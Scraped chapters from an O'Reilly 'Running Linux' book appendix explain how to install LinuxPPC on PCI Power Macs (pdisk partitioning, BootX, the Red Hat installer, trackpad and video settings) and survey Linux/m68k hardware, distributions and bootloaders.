http://www.dartmouth.edu/cgibin/cgiwrap/jonh/lppc/faq.pl?file=572
LinuxPPC Inc. is an active supporter of the Debian project and has contributed hardware to the Debian organization.

LinuxPPC Inc. has developed a demonstration version of LinuxPPC that can be booted straight from the Mac OS. This version, called LinuxPPC Live, is a 105 MB version of LinuxPPC and doesn't require any installation or configuration on the part of the user. To download LinuxPPC Live, see the list of mirror sites at http://www.linuxppc.org /mirrors.shtml.

D.1. Compatible Hardware

LinuxPPC runs on any PCI-based Power Macintosh, which includes the iMac, the PowerMac G3, and the PowerBook 3400 and G3 models. As of this writing, the iMac is a little difficult to get Linux running on. Special iMac installation instructions are at http://www.linuxppc.org/iMac/. We hope the upcoming LinuxPPC 5.0 will have better iMac support.

D.1.1. Other PowerPC Platforms

When the AIM (Apple-IBM-Motorola) coalition designed the PowerPC processor, they created two reference designs for future hardware. The first design was called PReP, the PowerPC Reference Platform. PReP machines were intended to be servers and high-end workstations. Apple, Motorola, and IBM all made PReP boxes: the Apple Network Server 500 and 700, the Motorola FirePower and PowerSTACK, and various IBM RS/6000 computers. These machines could run IBM's Unix variant, AIX, and a version of Windows NT for PowerPC. (Very few people knew that NT for PPC existed. Even fewer used it.)

Apple and Motorola abandoned their PReP boxes, and IBM stopped using the PReP design in favor of the newer Common Hardware Reference Platform (CHRP) design. Many Apple Network Servers have been successfully resurrected with LinuxPPC, much to the delight of their owners.

The CHRP platform was going to be the basis of cheap Macintosh cloning. The CHRP boards had both PC and Macintosh serial and keyboard ports and booted the Mac OS from a ROM DIMM chip. When Apple canceled its Mac OS licensing program in 1996, the hope of inexpensive Mac clones evaporated. But CHRP has resurfaced in 1998: the Apple iMac and Blue & White G3s are CHRP-based. IBM's RS/6000 workstations are also CHRP-based. IBM has become very interested in Linux on PowerPC and has been assisting with the port Linux/PPC to their newest RS/6000 models.

D.1.2. Unsupported PowerMacs

The PowerMac 6100, 7100, and 8100; and Workgroup Server 6150, 8150, and 9150 cannot run LinuxPPC. These machines used the NuBus architecture and don't have the PCI or Open Firmware circuitry that LinuxPPC depends on to boot.

There is a variant of Linux that runs on these early machines called MkLinux. MkLinux is really the Mach microkernel (also used in Apple's Mac OS X Server) running the Linux kernel in server mode. For most practical purposes, MkLinux is just another version of Linux, albeit one that runs on the old NuBus PowerMacs. Also, MkLinux is binary compatible with Linux/PPC, which means that applications compiled for Linux/PPC will run on MkLinux, and vice vera. MkLinux is a little bit slower than LinuxPPC, but it's the only option available for the oldest PowerMacs right now. You can find information on MkLinux at http://www.mklinux.org.

The PowerMac/Performa 5200, 5300, 6200 and 6300 series can't run any version of Linux at all. The only exceptions to this are the Performa 6360, a PCI-based machine that is capable of running LinuxPPC and the Performa 61xx-series (relabelled as PowerMac 6100 computers) which can run MkLinux.

D.1.3. Other Hardware Issues

There are a few types of hardware that LinuxPPC can't use. Some of them, such as specialized SCSI cards, video cards, and USB expansion cards, can't run on Linux because they lack a driver. LinuxPPC can't use the Apple GeoPort modems[8] that shipped with the Apple Performa series.

[8]The GeoPort modems are "software modems." Software modems are 90 percent software, which the Mac uses to emulate a hardware modem. The tradeoffs are speed, stability, and compatibility. Under the Mac OS, GeoPort modems are very slow and unstable, and they can't function at all under Linux since there aren't any drivers available for them. The only solution for these machines is to remove the modem, which may be an expansion card inside the computer, and replace it with an external modem. Relatively fast 33.6 and 57.6 kbps modems can be picked up for $50 to $100.

Previous | Home | Next
C.7. Tuning and Post-Installation Considerations | Book Index | D.2. Kernel and Library Issues
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Kernel and Library Issues (Running Linux)

 Running LinuxSearch this book
Previous Next

D.2. Kernel and Library Issues

LinuxPPC Release 5.0 was the first version of LinuxPPC to use Version 2.0 of the GNU C libraries (glibc). Previous versions used glibc 1.99, which has caused some porting headaches for developers. Kernel support has been quite good on PowerPC. When the 2.2 kernel was released, PowerPC was the first processor after x86 to get the new kernel ported and running. Version 2.2.1 of the kernel introduced drivers for Ultra/Wide SCSI cards and greatly improved support for the PowerBook G3 series, adding trackpad tapping, and screen brightness control support.

Previous | Home | Next
D. LinuxPPC: Installing Linux on PowerPC Computers | Book Index | D.3. Preparing to Boot LinuxPPC
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Preparing to Boot LinuxPPC (Running Linux)

 Running LinuxSearch this book
Previous Next

D.3. Preparing to Boot LinuxPPC

To get LinuxPPC installed on your Mac, you will have to partition your hard disk, install the OS, and configure your system for dual-booting LinuxPPC. Each step will be explained in detail later.

Booting LinuxPPC was revolutionized in 1998 when Benjamin Herrenschmidt released a utility called BootX, which gave PowerMac owners easy dual-boot capability. The BootX utility runs in the Mac OS as an application and comes with an extension that runs at system startup. Prior to BootX, the only way to boot PowerMacs was to edit their Open Firmware settings, which was a tricky proposition, at best. BootX also provides basic video support for machines that don't have video drivers.

With the BootX system, the Linux kernel is stored on the Macintosh hard disk. When the user gives the command to boot into Linux, BootX issues shutdown commands to the Mac OS. Just when the Mac is about to restart, the Mac OS is kicked out of the computer's RAM, and Linux begins to boot.

D.3.1. Getting the Mac Ready for Linux

Before you can see how fast your Mac really is, you have to do some work. You'll need a hard disk or removable disk, preferably a gigabyte or larger, that you can repartition. If you have only one hard disk, you'll need to get either an external hard drive or additional internal drive (if your machine has room for one) or erase the internal hard disk and repartition it! Unfortunately, there isn't any non-destructive partition software for the Macintosh.

If you have a LinuxPPC CD-ROM, you can boot from the CD-ROM straight into the Red Hat installer. The installer can run the fdisk utility (just a more familiar name for the LinuxPPC partitioning utility called pdisk), which you can use to partition your hard disk.

NOTE

If you don't have a CD-ROM, but do have a fast Internet connection, you can perform an FTP-based installation of LinuxPPC. Instructions for FTP installation are at http://www.linuxppc.org/userguide/ftpinstall.shtml. You need to have a direct connection with a static IP number.

D.3.2. Partitioning the Hard Disk

Chapter 2, "Preparing to Install Linux", discusses the reasons for partitioning and general concepts behind it, whileSection 3.1.2, "Drives and Partitions Under Linux"" in Chapter 3, "Installation and Initial Configuration", explains the names and sizes typically used for Linux partitions. Read those sections for background; here I discuss information specific to LinuxPPC.

A full installation of LinuxPPC takes up about 650 MB. You'll want to have more available for adding files and software. For a robust installation, we recommend devoting at least one gigabyte partition. Give it more if you can spare the disk space. It is possible to pare down the installation to fit on a 100 MB ZIP disk, but there's not much you can fit on there.

Before partitioning a disk, make a complete backup of the disk. Once you partition the hard disk, all of the data on the [image] disk will be destroyed, and it will not be possible to recover it after it has been partitioned.

If you only have one hard disk, back up the whole disk! After you've backed up your data, boot the computer from the Mac OS CD-ROM that came with the machine, and use Apple's Drive Setup utility to format and partition the hard disk into two HFS partitions. Then install the Mac OS on the first partition, reboot into the Mac OS, restore your data, and resume the partitioning and installation process.

In this sample installation, we will use a 4 GB hard drive that has been split into two partitions of 2 GB each. The first will become an Apple HFS partition and will need to be installed on that partition. The second will be further partitioned into a pair of Linux partitions.

To partition the hard disk, you'll need the Mac OS version of pdisk, the disk partition utility. This is provided by the Red Hat installer under the name fdisk and can also be grabbed from ftp://ftp.linuxppc.org /pub/linuxppc/linuxppc-R4/RedHat/tools/pdisk.hqx. (Please use an FTP mirror site to lighten the load on the LinuxPPC system, especially if you're not in the United States. The mirror list is at http:// www.linuxppc.org /mirrors.shtml.)

Unlike most Mac OS programs, pdisk is entirely text-based. It's also a very literal program, in that it will do exactly what you tell it to do. It won't delete your hard disk--unless you tell it to. To make it harder to accidentally wipe everything out, pdisk has a few safeguards built in:

  • It won't save any changes unless you specifically tell it to do so.

  • If you quit the program (In the File menu, choose Quit), it will not save the changes you've made to your hard disk. You have to tell it to save the changes with the w (write) command.

The pdisk commands are shown in Table D-1.

Table D-1. pdisk Partitioning Commands

Command | Purpose
e | Edits a device's map. A "device" is a hard disk.
h | Prints the available commands.
l | Lists a device's partition map.
L | Lists all devices' maps.
q | Quits the program.
v | Prints the version number and release date.

When you use pdisk, you're actually editing your hard disk's partition map. The partition map is a scary sounding name for a file that contains a list of all the partitions on your hard disk. The partition map is stored on a partition all its own.

When you're in the Mac OS, you see only one partition, which you think of as your hard disk. The other four partitions are invisible, and you don't have any reason to directly interact with them. (Unless you've decided to go and install Linux.) The first partition holds the partition map. The next three are device drivers, pieces of software that tells the Mac how to use the hard disk and where to look for the Mac OS partition. Your Mac OS software and the OS are stored on the fifth partition, which is an Apple HFS or HFS Plus partition.

NOTE

As of this writing, LinuxPPC cannot read HFS Extended (also known as HFS Plus) disks, including hard disks. Research is under way to get HFS Plus support working, but there isn't a date set for when we'll have HFS Plus compatibility. Check on http://www.linuxppc.org for an announcement.

When you start up pdisk, it presents you with a text prompt:

Top level command (? for help):
Now what? Type L and press Return. The system will print out a list of every SCSI and IDE device attached to your computer, including hard disks, CD-ROM drive, ZIP drive, and so on:
Top level command (? for help): L
pdisk: can't open file '/dev/sda'  (No such device)
pdisk: can't open file '/dev/sdb'  (No such device)
pdisk: can't open file '/dev/sdc'  (No such device)
pdisk: can't open file '/dev/sde'  (No such device)
pdisk: can't open file '/dev/sdf'  (No such device)
pdisk: can't open file '/dev/sdg'  (No such device)

Partition map (with 512 byte blocks) on '/dev/hda'
 #:                type name             length   base    ( size )
 1: Apple_partition_map Apple                63 @ 1
 2:      Apple_Driver43*Macintosh            54 @ 64
 3:      Apple_Driver43*Macintosh            74 @ 118
 4:    Apple_Driver_ATA*Macintosh            54 @ 192
 5:    Apple_Driver_ATA*Macintosh            74 @ 246
 6:       Apple_Patches Patch Partition     512 @ 320
 7:           Apple_HFS untitled        4194304 @ 832     (  2.0G)
 8:           Apple_HFS untitled        4256944 @ 4195136 (  2.0G)
If you don't have any SCSI devices on your machine, you'll see a bunch of error messages go whizzing by that say things similar to:
pdisk: can't open file '/dev/sda'  (No such device)
pdisk: can't open file '/dev/sdb'  (No such device)
The can't open file messages are pdisk's cryptic way of reporting that it didn't find any device attached to your computer at that address. Instead of referring to a device as CD-ROM Drive at SCSI ID 4 or ATAPI HD 1, pdisk uses Linux's device name format. To Linux, everything is a device. Your modem, your hard disk, the floppy drive, even the RAM are considered devices.

The name of a hard disk depends on whether it's an IDE or SCSI hard disk. IDE disks are referred to as /dev/hdx, and SCSI disks are /dev/sdx. The variable x is one of the letters a, b, c, d, e, f, or g. The letter on the end of the name is how Linux distinguishes between drives.

Did you notice that IDE drives are hd and SCSI drives are sd? Those letters just denote which bus the devices are on. The letter after hd or sd is what you really need to pay attention to. If your computer has one IDE hard disk in it, it will be listed as /dev/hda. You also will get an error on /dev/hdb, which is your CD-ROM drive. Don't worry about it, though. (Trust me!)

If you have SCSI drives in your computer, pdisk will first display their names with "fake" SCSI names in the format /dev/scsibus.scsi_id, such as /dev/sdc1.5. Fortunately, it also lists their device name in proper /dev/sdletter format. Linux refers to SCSI devices with the /dev/sdletter scheme, so use that format when working with the device.

If you have an Ultra/Wide SCSI card by Adaptec or Apple, and you're planning on installing Linux on the hard disk attached to the card, prepare to be a little confused. Linux might say that your hard disk is in a different place than pdisk says it's in. This is because when Linux boots, it looks at the names of the devices attached to it. The Adaptec and Apple Ultra-Wide SCSI cards show up on the letter A. The Mac's SCSI controller is called the MESH chip, which is alphabetically after "Adaptec."

A hard disk on an Adaptec card will be at /dev/sda. Devices on the regular internal SCSI bus will follow at /dev/sdb and /dev/sdc. If your machine has only one device on the SCSI card, you're in the clear. If you have other devices attached to it, the naming game can get a little hairy.

And now, we partition:

  1. Choose the partition you're going to edit. In pdisk, type the letter e:

    Top level command (? for help): e
Name of device: /dev/hda
Edit /dev/hda -
Command (? for help):

  2. Delete the second HFS partition. You have to delete the partition in order to create free space, which you will use to make Linux partitions. Looking at the partition map, the seventh partition is the HFS partition, which will be erased. To delete a partition, type the letter d followed by the number of the partition you wish to delete:

    Command (? for help): d8
Command (? for help): p
    Typing p again will display the partition map. The Apple HFS partition has turned into free space, which you can use to make new partitions:
     7:           Apple_HFS untitled        4194304 @ 832     (  2.0G)
 8:          Apple_Free Extra           4256944 @ 4195136 (  2.0G)

  3. Create the swap partition:

    Command (? for help): c  "c" is the command to make a new partition.
First block: 8p  "8p": Use the first block of the free space partition,
                       which is the eighth partition.
Length in blocks: 30m  Make it 30MB. k = kb, m = mb, g = gb
Name of partition: swap  The partition will be called swap.
Command (? for help):

There! You've created your swap partition. Print out the partition map again. Examine the eighth and ninth partitions:

 8:     Apple_UNIX_SVR2 swap              61440 @ 4195136 ( 30.0M)
 9:       Apple_Free Extra           4195504 @ 4256576 (  2.0G)
The free space is now the ninth partition, and the new swap partition is at /dev/hda7. Next, make the root partition. Once you make root, you will be done partitioning.

When creating the root partition, instead of typing the length in megabytes, use the free-space partition's length in blocks. In this example, the Apple_Free partition is 4,195,504 blocks long, which is roughly 2 GB. By typing the partition's exact length in blocks, you will use up all the available disk space and not have wasted space left over after partitioning:

Command (? for help): c
First block: 9p
Length in blocks: 4195504
Name of partition: root
Command (? for help): p

Partition map (with 512 byte blocks) on '/dev/hda'
 #:                type name             length   base    ( size )
 1: Apple_partition_map Apple                63 @ 1
 2:      Apple_Driver43*Macintosh            54 @ 64
 3:      Apple_Driver43*Macintosh            74 @ 118
 4:    Apple_Driver_ATA*Macintosh            54 @ 192
 5:    Apple_Driver_ATA*Macintosh            74 @ 246
 6:       Apple_Patches Patch Partition     512 @ 320
 7:           Apple_HFS untitled        4194304 @ 832     (  2.0G)
 8:     Apple_UNIX_SVR2 swap              61440 @ 4195136 ( 30.0M)
 9:     Apple_UNIX_SVR2 root            4195504 @ 4256576 (  2.0G)

In this example, partition /dev/hda9 will become your root device. Write down which partition is your root device. You will need to know that later. If you have a SCSI hard disk, it would be /dev/sda7. Also note that if you are planning on installing Linux on a drive other than your startup disk, you don't have to have the Apple_HFS partition on the disk. You can devote the entire drive to Linux.

When you're done partitioning, type w:

Command (? for help): w
Writing the partition map will permanently save changes.
Save changes? (y/N): y
pdisk will come back to the Top level command prompt. At this point, the changes to your hard disk will have been saved. Type q to quit pdisk.

Tips for partitioning include the following:

  • If you make a mistake, it's not fatal. You can quit pdisk at any time without saving changes.

  • Changes are not final until you tell pdisk to write the new partition map with the w command.

D.3.3. Installing BootX

The BootX software makes it very easy to boot LinuxPPC. It consists of three files, which need to go in specific places on your hard disk. The software includes the following:

The BootX application

This is called Boot LinuxPPC on LinuxPPC CD-ROMs. The application can go anywhere on your hard disk. You can make multiple copies of it and place them in convenient locations.

The BootX Extension

Place this in your Mac's Extensions folder. (The Extensions folder is inside the System folder.)

The vmlinux file (which is the Linux kernel)

This needs to go directly inside the System folder--not the Extensions folder.

After you have placed the vmlinux file and BootX Extension in their respective places, double-click the BootX application. Make sure that the No Video Driver and Use RAM Disk boxes are checked. You don't need to enter anything in the Root Device or More Kernel Arguments field.

Make sure that the LinuxPPC CD-ROM is in the CD-ROM drive, and click the Linux button, and LinuxPPC will boot into the Red Hat installer.

Previous | Home | Next
D.2. Kernel and Library Issues | Book Index | D.4. Using the Red Hat Installer
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Using the Red Hat Installer (Running Linux)

 Running LinuxSearch this book
Previous Next

D.4. Using the Red Hat Installer

The Red Hat installer is used in LinuxPPC 4.0 and 5.0, although new installers will be available in 5.0. The installer used in LinuxPPC 5.0 will work differently from the version described here.

To boot into the installer, double-click the BootX application. The BootX application may be called Boot LinuxPPC if you're using a LinuxPPC 4.1 or 5.0 CD-ROM.

First, the installer asks if you are using a color monitor. Press the space bar to make the installer operate in color mode, which has a blue background with red and grey buttons. Press the space bar or Return key when you are done reading the Welcome to Powermac/Linux message. The next screen lets you tell the computer what kind of keyboard you're using. The default is the U.S. keyboard. After selecting your keyboard type, the installer asks for the source of the installation files, which will probably be a CD-ROM.

Next, the installer automatically picks the partitions that will become root and swap. Formatting all of the partitions can take quite a while, but it is recommended when installing on a previously used hard disk.

You then choose which packages you want to install. The default installation is acceptable for most users. If you want to add more software, such as other servers, or want to pare down the installation, you can add or remove items to be installed at this screen. If you want the installer to install other packages, such as the bundled C compilers, use the arrow keys to move up and down through the installer screen, and use the Space bar to select and deselect items.

When you have selected the packages you want to install, tab over to the OK button and press Space. The installer begins putting the system in place. Depending on the speed of your CD-ROM drive, installation will take 10 to 45 minutes. After the computer has finished putting packages in place, the Network Configuration screen appears. However, instead of using this screen to set up your network interface, you should use the netcfg utility, which is available once you're in LinuxPPC. So skip this step.

Next, select the time zone that you are in. The default is U.S./Eastern time zone. After that, you'll need to assign the root password for the system. Please be sure to protect yourself by choosing a good password with a mixture of letters and numbers.

Type in your root password and press Return. The password will not appear on the screen, but the system will remember it. Type the password one more time to confirm it, and then press Return. Press Return one more time to press the OK button. You can skip the next two screens, "Quik Installation" and "Change Boot Variables." Leave the fields on these screens blank. They're not used for this installation process.

That's all! The computer will congratulate you on installing the system and should reboot into the Mac OS.

Previous | Home | Next
D.3. Preparing to Boot LinuxPPC | Book Index | D.5. Post-Installation: Setting Up the BootX Software
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Post-Installation: Setting Up the BootX Software (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

D.5. Post-Installation: Setting Up the BootX Software

BootX is very easy to configure after you've partitioned your hard disk. Type in the device name of your root partition. If you followed the example, the root device will be sda7 or hda9, depending on what kind of disk is in your hard disk.

Make sure that the Use RAM Disk option is not checked. If this option remains on, the computer will boot into the installer instead of booting into Linux from the hard disk.

The No Video Driver option should be turned on. This option provides a video display on most systems, including those with cards that have no Linux video driver.

LinuxPPC R4 boots directly into the X Window System and boots the KDE window manager. If you would prefer Linux not to boot into KDE, it's very easy to modify the system. Like all things in Linux, there's a file that controls this aspect of the system. KDE is started in /etc/inittab.

Use your favorite Unix text editor (such as pico or vi ) to edit the file. The line you need to modify is at the very end of the file. It's the third line in this text:

# Run xdm in runlevel 5
#x:5:respawn:/usr/bin/X11/xdm -nodaemon
x:3:once:/opartition/kde/bin/kdm -nodaemon
Change the 3 to 5. That's it! The next time you boot LinuxPPC, it will stay at the console instead of booting X. If you want to start X from the console, type startx.

Previous | Home | Next
D.4. Using the Red Hat Installer | Book Index | D.6. Getting Hardware to Do What You Want It to Do
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Getting Hardware to Do What You Want It to Do (Running Linux)

 Running LinuxSearch this book
Previous Next

D.6. Getting Hardware to Do What You Want It to Do

Although the PowerMac does not present the variety of hardware--and therefore the variety of configuration problems--that come with Intel systems, there are some issues you may run into when running Linux on it.

D.6.1. Single-Button Mice

The fact that every Mac ships with a one-button mouse is a bit of a problem in a three-button mouse universe. To get around that, LinuxPPC's developers have used keyboard emulation of the other two buttons. On an ADB keyboard, Option-2 and Option-3 act as the middle and right mouse buttons, respectively. On the iMac and Blue G3 keyboards, the numeric keypad's Clear and Equal sign (=) act as the middle and right mouse buttons.

You can also buy inexpensive three-button mice and trackballs for both ADB and USB Macintoshes. LinuxPPC ships with a tiny program called mousemode, which lets you configure LinuxPPC for multibutton mice.

D.6.2. PowerBook Trackpads

Owners of Apple PowerBooks can use the trackpad to its fullest extent with versions 2.1.130 and higher of the Linux/PPC kernel. A tiny utility built into the system, called trackpad, lets you configure how the trackpad functions under LinuxPPC. The trackpad program can be run only by root.

To enable tapping, dragging, and drag lock, type trackpad drag lock. To turn off everything but tapping, type trackpad tap. And if you want the trackpad completely disabled, except for being able to move the pointer, type trackpad notap.

D.6.3. LinuxPPC 4.0 and 4.1 Video Issues

You have to use LinuxPPC for only a few minutes to notice that the video is rather slow, especially on the newer Apple G3 computers. The reasons for this are twofold. First, the portion of X Window System software that draws the GUI has no video acceleration. The second is that the version of KDE that shipped with R4 and 4.1 is also very slow, especially compared to KDE 1.1 and later versions. To improve the situation, you can do a few things:

  • Upgrade to Version 2.2.4 or higher of the Linux/PPC kernel. Graphics are noticeably faster in the 2.2.4 kernel and will continue to improve in subsequent versions. The newest version of the kernel is available from ftp://ftp.linuxppc.org/linuxppc/kernel/.

  • Install KDE 1.1 or use a different window manager.

    LinuxPPC 4.x shipped with the KDE, AfterStep, twm, and fvwm2 window managers. Release 5.0 has GNOME and WindowMaker, as well as a new version of KDE. (GNOME and WindowMaker are also available for Release 4.0.)

  • Upgrade to Release 5.0 if you're using LinuxPPC Feb98, 4.0 or 4.1. The new release has accelerated X servers built in. If you don't want to upgrade to R5, you can install the Xpmac_mga X server. The Xpmac_mga server runs on Power Macintoshes with IxMicro TwinTurbo cards, most ATI video cards, and Matrox MGAxx64 cards. Instructions for installing the Xpmac_mga server are at http://www.linuxppc.org/userguide/xpmac_mga.shtml.

Previous | Home | Next
D.5. Post-Installation: Setting Up the BootX Software | Book Index | E. Installing Linux/m68k on Motorola 68000-Series Systems
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Installing Linux/m68k on Motorola 68000-Series Systems (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

Appendix E. Installing Linux/m68k on Motorola 68000-Series Systems

By Chris Lawrence

Contents:

Software Versions
Supported Hardware
Distributions
Installation
Registration
For More Information

Linux/m68k is the port of the Linux operating system to the Motorola 680x0 (or m68k) processors. Linux/m68k, the first project to port Linux to a non-Intel processor, was begun in 1993 by Hamish Macdonald and Greg Harp, who ported the kernel to the Amiga. Several Atari users, including Björn Brauel, Roman Hodek, and Andreas Schwab, adapted Hamish's kernel beginning later that year to run on Atari's 32-bit ST series of computers.

Since 1996, Linux/m68k has been adapted to run on a number of other systems, including the pre-PowerPC Apple Macintosh line, several models of VMEbus single-board computers from Motorola and BVM Ltd., Apollo Domain workstations, the HP 9000 series and Sun 3 workstations, and NeXT. Most recently, there has been a port to the Q40 and Q60, two new 680x0-based computers that are being manufactured in Europe. A related project, Linux/APUS, has ported Linux/PPC (discussed in Appendix D, "LinuxPPC: Installing Linux on PowerPC Computers") to Amigas with PowerPC processor cards; it is very much a hybrid of Linux/m68k and Linux/PPC.

As you can see from the diverse list of systems that Linux/m68k runs on, the challenge facing the m68k port was introducing enough flexibility into the kernel to cope with the variety of possible environments. Many of these abstractions--most notably, Martin Schaller and Geert Uytterhoeven's framebuffer and console abstractions--have since been incorporated into the mainstream kernel. These abstractions have meant that virtually every binary ever written for Linux/m68k--including the kernel image itself--can be run on every m68k platform without recompilation.

Linux/m68k has proven its robustness in the real world: several publicly accessible web servers, such as http://shadow.cabi.net and http://amiga.nvg.org, are running on Linux/m68k and one of the developers uses an Amiga running Linux as a web and mail server for his dormitory. Thousands of other users use Linux for myriad tasks from software development to text processing to academic research.

Linux, along with other free Unix clones, continues to provide m68k users with a dynamic, rapidly improving operating system not seen on these platforms since the heyday of the late 1980s and early 1990s.

NOTE

Apple's choice of the name MkLinux for its microkernel-based Linux for PowerPCs and other platforms has caused no end of confusion; this confusion has been further compounded because an early port of Linux to the m68k Macs (now believed to be vapor as no code has ever been released) was called MacLinux.

The correct name for Linux on 680x0 processors is Linux/m68k; in particular, Linux for the pre-PowerPC Macintoshes should be called Linux/m68k for the Macintosh to avoid confusion with other projects. Neither of these is based on the microkernel or MkLinux.

E.1. Software Versions

As of this writing, active development of the 2.0 kernel series has stopped; the focus is now on producing a rock-solid 2.2 kernel in the near future. The latest Linux/m68k kernels can always be downloaded at http://sunsite.auc.dk/ftp/projects/680x0/; precompiled images are provided for stable kernels, and complete source trees and patches (relative to both previous versions and Linus's releases) are available for all versions.

Like other platforms, Linux/m68k has followed the libc roller coaster closely; thanks to the hard work of Andreas Schwab, our resident gcc and libc guru, we've never been left too far behind. At present, both major distributions ship with glibc 2.0 (libc 6); work is underway to prepare for the transition to glibc 2.1 (libc 6.1) in upcoming releases of Linux/m68k distributions. However, the kernel still supports both libc 4 and libc 5 applications, for those users who need them.

Previous | Home | Next
D.6. Getting Hardware to Do What You Want It to Do | Book Index | E.2. Supported Hardware
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Supported Hardware (Running Linux)

 Running LinuxSearch this book
Previous Next

E.2. Supported Hardware

As a general rule, the 68020, 68030, 68040, and 68060 processors are supported.

For the 68020, a separate MMU (memory management unit) is necessary. The EC models of the 68030, 68040, and 68060 are missing MMUs and cannot run Linux.

For the 68020 and 68030, an FPU (floating point unit) is also recommended. A kernel-level FPU emulator is on the verge of release (as of this writing), but 68882 FPUs can be found for around U.S. $25 and will improve performance with many applications. Users of the 68LC040 can also take advantage of the FPU emulator; however, many of the 68LC040 chips produced have bugs that make FPU emulation unstable.

Generally, the minimum RAM requirement is between 4 and 8 MB of RAM; more RAM is generally better, though, and every little bit helps. Amiga users should note that Linux cannot use chip RAM except for the video, sound, and floppy drivers. The X Window System is usually comfortable only with at least 12-16 MB of RAM and an accelerated video card; however, it can run on the standard Amiga and Atari video modes with less memory.

While you can probably install a minimal Linux system on a 20-30 MB partition, for any serious work you'll need over 100 MB, including a separate swap partition. A useful approach is to purchase the largest hard drive you can afford and install Linux on it, and then watch it fill itself up. Many SCSI and IDE controllers are supported on various platforms, although the support is not as extensive as we would like because of the small developer base and relatively expensive hardware (the least expensive Ethernet card for a "big box" Amiga costs around U.S. $120!). All Amiga models are supported by Linux if they have the right CPU. Clones that do not include the Amiga's custom chips, such as the DraCo, are not supported at the moment; other clones, such as the BoXeR, may or may not work (we have not had any machines for testing).

Most 32-bit Ataris (ST/Mega ST/TT/Falcon) are supported although many people have had trouble with the Afterburner040 CPU card. The Medusa and Hades clones are also supported.

Macintosh models appear to be a hit-or-miss affair. Apple went through many permutations of hardware in the m68k line and not all of those permutations are currently supported; the porting work is further complicated by Apple's reluctance to release documentation to free software developers. In particular, Powerbook support is limited because of the different ADB (Apple Desktop Bus) design on those laptops. Even so, at least 27 Mac models are reported to have keyboard, mouse, and display support.

VMEbus single-board computers from several manufacturers are supported; these machines are widely used in industrial and research applications. Motorola's MVME 147, 162, 166, 167, 172, and 177 are currently supported, thanks to Richard Hirst. Richard has also ported Linux/m68k to BVM Ltd's BVME 4000 and 6000 computers and the Tadpole TP34V.

Other platforms have more limited support, due to a lack of people working on porting Linux/m68k to those systems. For example, only 25 MHz NeXTs are currently working.

For more information about support for your specific configuration (including expansion cards), consult the Linux/m68k FAQ at http://www.linux-m68k.org/faq/faq.html; Mac users may also want to look at the Macintosh-specific hardware support pages at http://www.mac.linux-m68k.org.

Previous | Home | Next
E. Installing Linux/m68k on Motorola 68000-Series Systems | Book Index | E.3. Distributions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Distributions (Running Linux)

 Running LinuxSearch this book
Previous Next

E.3. Distributions

There are two major multiplatform distributions of Linux available for m68k. They include kernels that can handle most, if not all, of the supported hardware:

Debian (http://www.debian.org)

Debian is the only multiplatform distribution that officially supports Linux/m68k. Debian 2.1 was the second Debian release to include Linux/m68k packages and installation tools; this release, with more than 860 MB of compressed package files, is almost certainly the largest distribution of free software for 680x0-based systems ever produced.

Debian is developed by a worldwide team of volunteers, and the Debian/m68k team is in many respects a microcosm of this structure, including members from Europe and North America working on Amigas, Ataris, Macs, and VMEbus systems.

Two commercial distributions, Whiteline Linux/68k and Eagle Linux M68K, have been based on the 2.0 Debian release, and may be updated for 2.1. In addition, the official Debian CD-ROMs are reproduced and sold by more than two dozen vendors worldwide, for between U.S. $5 and $20 for a two CD-ROM binary-only set, and the complete distribution can be downloaded for free from Debian's worldwide mirror network.

Additional information specific to Debian/m68k can be found at http:// www.debian.org/ports/m68k/.

In addition, there are two commercial distributions from Germany that are based on older versions of Debian:

Whiteline (Atari)

http://www.atari-world.com/dlm/linux.htm

Eagle (Amiga)

http://www.eagle-cp.com/www/m68k.html

Red Hat (http://www.redhat.com)

While Red Hat Software does not officially support Jes Sørensen's m68k port of its distribution, it is available on CD-ROM from the company as part of its Rough Cuts package. Red Hat for m68k releases generally follow the official releases by Red Hat Software. The current m68k release, as of this writing, is Version 5.1; a beta release of 5.2 is also available for testing, which features Red Hat's Xconfigurator program to simplify configuration of the X Window System. Like Debian, the distribution is available on CD-ROM from several vendors and can be downloaded via FTP from sites in the United States, Italy, and Denmark. The unofficial Red Hat port comes with an installer for Amigas; Atari and Mac users have reported some success with manual installations. More information can be found in Ron Flory's unofficial Red Hat installation FAQ at http://www.feist.com/~rjlory/linux/rh/index.html.

The choice of distribution is largely a matter of taste; generally, people who run Debian on one system will want to run it on others, and the same goes for Red Hat. If you've never used Linux before, however, the choice can be somewhat daunting (and one us early hackers never had to face). Debian certainly has the edge in package availability, although its increasing size does make it more cumbersome to install. The commercial distributions from Germany may be of interest if you can take advantage of their technical support (which means you probably would find a strong knowledge of German helpful).

However, Debian and Red Hat for m68k can be purchased for much less than you'd spend to buy Red Hat's official package for Intel, so you may want to try them both. In any event, there is a wide user base for both noncommercial distributions, which is more than willing to help users with their questions.

Previous | Home | Next
E.2. Supported Hardware | Book Index | E.4. Installation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Installation (Running Linux)

 Running LinuxSearch this book
Previous Next

E.4. Installation

Each distribution uses a different installation method; in addition, the procedure for each major platform is somewhat different. Hence, it is impossible to go into any great depth in this appendix. A few particular issues are worth examining, however.

E.4.1. Booting Linux

While it is technically possible to boot directly into Linux on virtually any system, there are numerous challenges involved in writing a bootloader that can operate outside any operating system. At the moment, Amigas, Ataris, and VME systems can be booted without launching native operating systems (using m68k-specific versions of LILO).

For other platforms, and for specialized applications on Amigas, booters that run under the native OS (similar to Loadlin on Intel) are available. The Amiga and Atari booters are fairly rudimentary, although the latter does include some support for obtaining kernels over the network. The Macintosh booter, called Penguin, is a native MacOS application that provides a more user-friendly interface and allows configuration of some settings (such as screen settings) that the Mac porters haven't been able to determine how to change under Linux. Other systems are currently using hacked bootloaders from other operating systems or are launched from hardware boot managers.

Allowed boot options for Linux/m68k are covered in the file kernel-options.txt in the Documentation/m68k directory of the kernel source tree.

